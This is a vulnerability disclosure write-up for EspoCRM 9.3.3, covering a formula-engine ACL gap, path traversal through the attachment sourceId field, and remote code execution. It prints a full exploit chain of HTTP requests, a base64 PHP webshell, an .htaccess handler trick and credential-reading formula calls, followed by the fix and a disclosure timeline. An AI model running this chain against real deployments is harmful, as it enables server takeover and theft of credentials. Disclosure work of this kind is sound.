TL;DR: EspoCRM's built-in formula scripting engine bypasses internal field-level ACL restrictions, allowing an admin to overwrite a path-traversal-sensitive field on file attachments. Combined with an unsanitized file path in the upload storage layer, this yields arbitrary file read, arbitrary file write, and — with a small .htaccess trick — full remote code execution as www-data.
EspoCRM is one of those projects that occupies an interesting niche. It is open-source, PHP-based, sits at around 3,000 GitHub stars, and gets deployed by small-to-midsize organizations who need a CRM but do not want to pay Salesforce prices. It handles contacts, leads, sales pipelines, support cases, emails — the usual. It also has a surprisingly deep feature set for an open-source tool, including workflow automation, a BPM engine, and something called the formula scripting engine.
I recently found myself auditing EspoCRM v9.3.3 as part of my independent vulnerability research. My target was the official Docker image (espocrm/espocrm), which at the time shipped v9.3.3 and runs Apache as www-data. If you are testing against a different deployment — a manual install, a different base image, or a non-Debian host — the web server process may run under a different OS user, but the vulnerability chain is the same. Much of the application is well-structured — PHP with a clean service layer, proper ACL enforcement on most API endpoints, entity-level and field-level access controls defined in JSON metadata files. Nothing jumped out immediately from the usual quick wins: no obvious SQL injection, no deserialization of user input, no eval() sitting in a controller.
But then I found the formula engine.
EspoCRM ships with a built-in scripting language designed for business logic automation. Admins use it to define calculated fields, workflow actions, and BPM process steps. The syntax looks like a simplified functional language:
$name = string\concatenate(firstName, ' ', lastName);
record\update("Lead", $id, "status", "Converted");
Crucially, the formula engine is also exposed via a REST endpoint for testing and ad-hoc execution:
POST /api/v1/Formula/action/run
This is admin-only, which is fair. An admin should be able to test formulas. The engine provides functions like record\update(entityType, id, field, value) to modify any entity in the database, and record\attribute(entityType, id, field) to read any field from any entity. These are powerful primitives, and the implicit trust model is that an admin can do anything.
I was initially inclined to agree. An admin can do almost anything through the normal UI. But “almost” is doing a lot of work in that sentence.
One of the first things I do when auditing a PHP application with role-based access control is to compare how the same operation is handled across different code paths. If a field can be updated via the API and via some internal mechanism, do both paths enforce the same restrictions?
The normal API path for updating an entity runs through Record\Service::filterInput(). This method calls $this->acl->getScopeForbiddenAttributeList() to retrieve the list of fields marked as readOnly, internal, or forbidden in the entity's ACL metadata. It strips those fields from the input before the save. This is the right thing to do.
The formula engine's record\update function, however, takes a different path. In application/Espo/Core/Formula/Functions/RecordGroup/UpdateType.php, around line 79:
$entity->set($data);
EntityUtil::checkUpdateAccess($entity);
$this->entityManager->saveEntity($entity);
Three lines. Set the data, run a check, save. The problem is what EntityUtil::checkUpdateAccess() actually checks: it only prevents changing the type field on User entities to super_admin or system. That is the entire guard. There is no call to getScopeForbiddenAttributeList(). There is no check against the entityAcl metadata. Fields marked readOnly in the ACL layer — fields that the normal API would silently strip — are writable through the formula engine.
The EspoCRM maintainer considers the formula engine’s lack of field-level ACL enforcement to be intentional, not a vulnerability. His position: “Formula engine does not apply ACL by design.” He also noted that users actively use formula to write sourceId for legitimate purposes, and that an admin already has other paths to code execution (e.g., extension uploads). The maintainer edited the advisory to remove much of the technical detail around the formula engine’s role, including the filterInput() comparison and the record\attribute / record\create impacts. In the published advisory, the formula engine is documented as the exploitation path — how the attacker reaches sourceId — rather than as a root cause requiring a fix. The primary remediation targets getFilePath() only. The fix itself is solid — basename() applied across six path construction sites within 24 hours of the report.
My analysis in this section reflects my own assessment of the access control model and the security consequence of the design: a readOnly field that the REST API correctly protects is reachable via an alternative code path that doesn’t apply the same restrictions. The advisory tells one version of this story; the technical details in this write-up tell the full version. Readers can draw their own conclusions.
This is one of those findings where you have to pause and think about what it actually means. Hundreds of fields across dozens of entity types have ACL restrictions that exist for a reason. Which of them, if writable, leads somewhere interesting?
I started enumerating.
EspoCRM's Attachment entity has a field called sourceId. By default, when you upload a file, the attachment gets an id (a random alphanumeric string), and sourceId is set to the same value. The actual file is stored on disk at data/upload/{sourceId}. The field is marked readOnly in application/Espo/Resources/metadata/entityAcl/Attachment.json:
{
"fields": {
"storage": { "readOnly": true },
"source": { "readOnly": true },
"sourceId": { "readOnly": true }
}
}
Through the normal API, you cannot change sourceId. Through the formula engine, you can.
Why does this matter? I followed sourceId to where it is consumed. In application/Espo/Core/FileStorage/Storages/EspoUploadDir.php, line 115:
protected function getFilePath(Attachment $attachment)
{
$sourceId = $attachment->getSourceId();
return 'data/upload/' . $sourceId;
}
I read that three times to make sure I was not missing something. There is no sanitization. No basename(). No realpath() check. No rejection of .. sequences. The sourceId is concatenated directly into a file path, and that path is used for every read and write operation on the attachment.
If I can control sourceId, I can control where files are read from and written to. And I just established that the formula engine lets me control sourceId.
The file read was straightforward to confirm. Three requests:
1. Create a normal attachment via POST /api/v1/Attachment (returns id = X, sourceId = X)
2. Use the formula engine to overwrite sourceId:
POST /api/v1/Formula/action/run HTTP/1.1
Host: target:8090
Espo-Authorization: <base64(admin:password)>
Content-Type: application/json
{
"expression": "record\\update(\"Attachment\", \"X\", \"sourceId\", \"../config.php\")",
"targetType": null,
"targetId": null
}
3. Request the file:
GET /api/v1/Attachment/file/X HTTP/1.1
Espo-Authorization: <base64(admin:password)>
The response was data/config.php — the application configuration file. I then tried ../config-internal.php, which in EspoCRM contains the database credentials and the application-level encryption key. That worked too.
This was a solid finding on its own — an admin can read files outside the upload directory, including database credentials and crypto keys. But I was not done. If getFilePath() is used for reads, is it also used for writes?
I traced the write path through application/Espo/Tools/Attachment/UploadService.php. EspoCRM supports chunked file uploads for large attachments — you create an attachment with isBeingUploaded: true, then upload pieces of the file via POST /api/v1/Attachment/chunk/{id}. The uploadChunk method, starting around line 86:
public function uploadChunk(string $id, string $fileData): void
{
if (!$this->acl->checkScope(Attachment::ENTITY_TYPE, Table::ACTION_CREATE)) {
throw new Forbidden();
}
$attachment = $this->recordServiceContainer
->get(Attachment::ENTITY_TYPE)
->getEntity($id);
if (!$attachment->isBeingUploaded()) {
throw new Forbidden("Attachment is not being-uploaded.");
}
if ($attachment->getStorage() !== EspoUploadDir::NAME) {
throw new Forbidden("Attachment storage is not 'EspoUploadDir'.");
}
// ... decode base64 ...
$filePath = $this->getAttachmentRepository()->getFilePath($attachment);
$this->fileManager->appendContents($filePath, $contents);
The method retrieves the attachment entity, calls getFilePath() on it — which reads the current sourceId from the database — and then appends content to that path. If I change sourceId via the formula engine between creating the attachment and uploading the chunk, the write goes wherever I want.
There are two guards to satisfy: isBeingUploaded must be true (I set this during creation), and storage must be EspoUploadDir (which the application sets automatically when isBeingUploaded is true in the attachment repository's beforeSave hook). Neither is a real obstacle.
I had arbitrary file write.
This was all good in theory. I could write a PHP file to client/shell.php, which is inside the Apache document root. But there was a catch. In the default Debian+Apache deployment, the client/ directory serves static frontend assets. Whether Apache will execute a .php file there depends on the handler configuration. In my target environment, simply dropping a .php file into client/ was not enough — Apache served it as a static download.
But all hope was not lost.
I could also write to .htaccess. The root .htaccess file sits at data/upload/../../.htaccess relative to the upload directory. Using the same formula-to-chunk pipeline, I created a second attachment, redirected its sourceId to ../../.htaccess, and appended:
<FilesMatch "^shell\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
This tells Apache to treat my specific file as PHP. The append operation preserves the existing .htaccess contents (which EspoCRM relies on for routing), so I do not break the application.
The complete exploitation requires six HTTP requests, all authenticated as admin:
Step 1 — Create a “being-uploaded” attachment to serve as the file write handle:
POST /api/v1/Attachment HTTP/1.1
Espo-Authorization: <base64(admin:password)>
Content-Type: application/json
{
"name": "shell.php",
"type": "application/octet-stream",
"role": "Attachment",
"relatedType": "Lead",
"field": "file",
"isBeingUploaded": true,
"size": 28
}
→ Returns {"id": "ATTACH_ID", "sourceId": "ATTACH_ID", ...}
Step 2 — Use formula to redirect sourceId to the webroot:
POST /api/v1/Formula/action/run HTTP/1.1
Espo-Authorization: <base64(admin:password)>
Content-Type: application/json
{
"expression": "record\\update(\"Attachment\", \"ATTACH_ID\", \"sourceId\", \"../../client/shell.php\")",
"targetType": null,
"targetId": null
}
→ {"isSuccess": true, "output": null}
Step 3 — Upload the PHP webshell as a chunk:
POST /api/v1/Attachment/chunk/ATTACH_ID HTTP/1.1
Espo-Authorization: <base64(admin:password)>
Content-Type: application/json
{
"piece": "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==",
"start": 0
}
That base64 decodes to <?php system($_GET["c"]); ?>. File client/shell.php is now written to disk.
Steps 4–5 — Same pattern, targeting .htaccess: create a second attachment with size: 999999 to avoid size-check interference, redirect its sourceId to ../../.htaccess, upload the <FilesMatch> PHP handler directive as a chunk appended to the existing file.
Step 6 — Execute:
GET /client/shell.php?c=id HTTP/1.1
Host: target:8090
uid=33(www-data) gid=33(www-data) groups=33(www-data)
From admin credentials to operating system command execution, with no dependencies on misconfigurations, third-party components, or unusual PHP settings.
The www-data user here reflects the official Docker image’s Apache configuration. On other deployments, this will be whatever user the web server process runs as — the RCE itself is environment-agnostic.
A complete proof-of-concept script that automates this chain is available here.
While investigating the write path, I also confirmed that record\attribute — the read counterpart to record\update — has the same ACL blindspot. In application/Espo/Core/Formula/Functions/RecordGroup/AttributeType.php:
$entity = $this->entityManager->getEntityById($entityType, $id);
return $this->attributeFetcher->fetch($entity, $attribute);
No field-level ACL check. This means the formula engine can read fields marked internal in entityAcl metadata — fields that are write-only by design — including:
User.password — bcrypt hashes for every user account in the systemAuthToken.token — live session token strings for active usersPOST /api/v1/Formula/action/run HTTP/1.1
Espo-Authorization: <base64(admin:password)>
Content-Type: application/json
{
"expression": "output\\printLine(record\\attribute('User', 'ADMIN_USER_ID', 'password'))"
}
{"isSuccess": true, "output": "$2y$12$C/pMGUCuiOZ4FFoV73BvOeYlVE30LN5ABKvNCZiwiNvKepWZ8z8qu"}
This is useful for an attacker who wants to move laterally without touching the filesystem — crack other users' passwords offline, or hijack active sessions directly using the token values.
The root cause is two-fold, but the fix that shipped targets the path traversal specifically.
First and primarily, EspoUploadDir::getFilePath() was patched to sanitize sourceId before path construction. The maintainer chose basename() over a character-check approach, which is arguably more robust — it strips all directory components entirely rather than checking for specific traversal sequences like .., making it resilient to encoding variants and edge cases:
protected function getFilePath(Attachment $attachment): string
{
$sourceId = $attachment->getSourceId();
$file = basename($sourceId);
return 'data/upload/' . $file;
}
This single change breaks the entire chain — neither the file read nor the file write primitive works without a traversal-capable sourceId. The fix was applied not just to getFilePath() but as a variant sweep across every path construction site that consumed untrusted ID values: Image.php (thumbnail cache paths), RemoveFile.php (thumb deletion), Clearer.php and MassUpdate.php (ACL cache files), and Starter.php (portal route cache). Commit: 3fab34e. Patched in EspoCRM 9.3.4. CVE: CVE-2026-33656.
Second, the formula engine's record\update and record\attribute functions operate outside the field-level restriction layer enforced by Record\Service::filterInput(). In my original advisory I characterized this as an ACL bypass and suggested applying the same getScopeForbiddenAttributeList() enforcement to the formula engine. The maintainer disagrees with this framing — see the UPDATE note in the section above — and the shipped fix does not change formula engine behavior. The maintainer noted this is something he plans to revisit carefully in the future to avoid breaking existing user customizations. That work, if it happens, will be tracked separately.
The gap exists because the formula engine was built as a trusted internal subsystem, and the access control layer was never revisited when it gained the ability to arbitrarily modify and read entity fields. Whether you consider it a design decision or a gap worth closing, the path traversal fix removes the most immediate and severe consequence.
sourceId was marked readOnly in the ACL metadata was a mitigation, not a guarantee. It depended on every code path honoring that restriction. The formula engine did not. A realpath()-based containment check in getFilePath() would have made this chain impossible regardless of how sourceId was set.readOnly and internal field lists. They exist for a reason. If you have a field marked readOnly in your ACL metadata, the question worth asking is: what happens if an attacker writes to it anyway? Sometimes the answer is “nothing interesting.” Here, it was arbitrary file write.| Date | Event |
|---|---|
| 2026-03-21 | Vulnerability reported via GitHub Security Advisory (GHSA-7922-x7cf-j54x) |
| 2026-03-21 | Maintainer responded; collaborative discussion on advisory framing began |
| 2026-03-21 | Maintainer accepted report and shipped basename() fix — commit 3fab34e |
| 2026-03-23 | CVE requested by maintainer |
| 2026-03-23 | GitHub assigned CVE-2026-33656 |
| 2026-03-23 | CVSS score changed from 9.1 Critical (S:C) to 7.2 High (S:U) by maintainer without prior discussion |
| 2026-03-24 | I restored original score and posted technical justification for Scope: Changed |
| 2026-03-24 | Maintainer reverted score and removed me as advisory collaborator |
| 2026-03-24 | Maintainer re-added me, stating removal was accidental |
| 2026-03-24 | CVSS discussion continued; maintainer switched scoring to CVSS v4.0 (8.6 High) with underscored Subsequent System metrics |
| 2026-03-24 | I contested v4 metrics with PoC evidence (/etc/passwd read, arbitrary file write, www-data shell) and showed the CVSS v4.0 score would be 9.4 (Critical) |
| 2026-03-24 | Maintainer locked advisory, preventing further comments |
| 2026-03-24 | Maintainer reverted to original CVSS v3.1 score of 9.1 Critical (S:C), acknowledging the scope change after further research |
| 2026-03-24 | EspoCRM 9.3.4 released with patch |
| 2026-03-25 | This write-up published |
| Pending | Advisory publication by maintainer |
The EspoCRM 9.3.4 release containing the basename() fix is publicly available as of March 24, 2026. The patch is shipped, the commit is public, and users can update. The purpose of coordinated disclosure is to ensure a fix is available before exploit details are published — that condition is met.
The advisory itself remains in draft at the maintainer’s discretion. I have no control over when it is published, and after the advisory was locked, I have limited ability to influence the process further. Waiting indefinitely for an advisory I cannot comment on or review would serve no one — particularly not the EspoCRM users who deserve to understand the severity of the vulnerability and verify they’ve updated.
The technical collaboration on this vulnerability was productive. The maintainer responded within hours of the initial report, shipped a thorough fix within 24 hours, and applied basename() sanitization across six path construction sites — not just the one I identified. That deserves recognition, and the quality of the fix speaks for itself.
The CVSS scoring process was more contentious. The score was changed multiple times, I was briefly removed as a collaborator, and the advisory was ultimately locked while the scoring was still under discussion. The timeline above documents these events factually. I’ll note that the maintainer did ultimately restore the original 9.1 Critical score after conducting his own research into how similar PHP RCE vulnerabilities are scored — which is the right outcome, arrived at through a longer path than necessary.
For security researchers considering disclosing to open-source projects: document everything, communicate your reasoning clearly, and know that the NVD will independently score your CVE regardless of what happens on the advisory. The process isn’t always smooth, but the system has mechanisms to get to the right answer.
EspoCRM is an open-source project available at espocrm.com. I recommend all EspoCRM administrators update to version 9.3.4 or later and review their formula engine usage for any unexpected record\update calls targeting readOnly fields.
Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.